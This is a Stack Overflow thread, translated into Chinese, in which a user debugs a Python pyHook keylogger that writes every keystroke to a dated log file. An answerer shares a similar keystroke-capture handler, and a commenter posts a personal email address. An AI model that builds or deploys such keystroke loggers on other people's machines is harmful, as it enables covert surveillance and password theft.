【问题标题】:Python TypeError an integer is required pyHook pythoncomPython TypeError 需要一个整数 pyHook pythoncom
【发布时间】:2016-05-23 17:32:40
【问题描述】:

我写了一个脚本:

    import pythoncom, pyHook
    import time
    from time import strftime,localtime

    def OKBE(event):

            log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
            f=open(str(log),"a")

            if(str(event.Ascii)=="8"):
                f.write("<--")
                print("<--")
            elif(str(event.Ascii)=="13"):
                f.write("\nENTER "+str(time.strftime("%H,%M",localtime()))+"\n")

                print("\nENTER\n")
            elif(str(event.Ascii)=="32"):
                f.write(" ")
            else:
                f.write(chr(event.Ascii))
                print(str(event.Ascii))
                print(chr(event.Ascii))


    manager = pyHook.HookManager()
    manager.KeyDown = OKBE
    manager.HookKeyboard()
    pythoncom.PumpMessages()

但任何时候事件是 a 或 p 以及其他一些字母时,我都会收到此错误:

Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Users\Miran\Desktop\Pythonprojekt\Keylogger\keylogger.pyw", line 10, in OKBE
log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt")
TypeError: an integer is required 

有人知道为什么吗?

【问题讨论】:

    标签: python python-2.7 typeerror pywin32 pyhook


    【解决方案1】:

    Event 是一个类(或者我应该说是类的实例),您可以从实例中调用信息(参见下面的代码),例如“event.key”会给您 ASCII 字符代码。 event.alt 将返回 'alt' 键的状态。

    我记得在编写 python 键盘记录器时处理过类似的问题(尽管已经有一段时间了)。我看不出你的代码有什么问题。我的“OKBE”函数看起来更像这样。

    def OnKeyboardEvent(self, event):
        if (event.Ascii > 31 and event.Ascii < 127) or event.Ascii == 13 or event.Ascii == 9:
            data = (event.WindowName, event.Window, event.Time, event.Ascii, event.Key, event.Alt)
            print data # debugging
    

    我相信使用上述方法可以捕获大多数(如果不是全部)通常的击键。使用上面的那个函数,我创建了一个带有其他日志记录函数的类。

    如果您需要其他任何内容,或者弄清楚您的代码中发生了什么,请告诉我 :)

    【讨论】:

    • 你在用高频吗?在 0x52-0x75-0x64-0x79 下找到我
    • 你能给我一封电子邮件吗? stackoverflow 上没有私信选项
    • nvbjute7545wtvrebynt964232c3@caramail.fr
    【解决方案2】:

    我认为这个问题是一个错误......当我更换时

    log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt") 经过 log="log.txt"

    一切正常

    【讨论】:

    • 是的,就像我说的,看不出有什么问题。我建议使用事件,Ascii 出于我在回答中所述的原因。我使用不同的 if 语句的原因是因为它会捕获更多的关键事件。看看这些按键对应的是什么,它的通用性。我想不起来了。
    • log =str("log "+str(time.strftime("%d,%B",localtime()))+".txt") 在我的机器上工作得很好。跨度>
    猜你喜欢
    • 2015-07-14
    • 2016-05-29
    • 1970-01-01
    • 1970-01-01
    • 2019-03-22
    • 2018-05-04
    • 1970-01-01
    • 2015-08-10
    • 2013-02-16
    相关资源
    最近更新 更多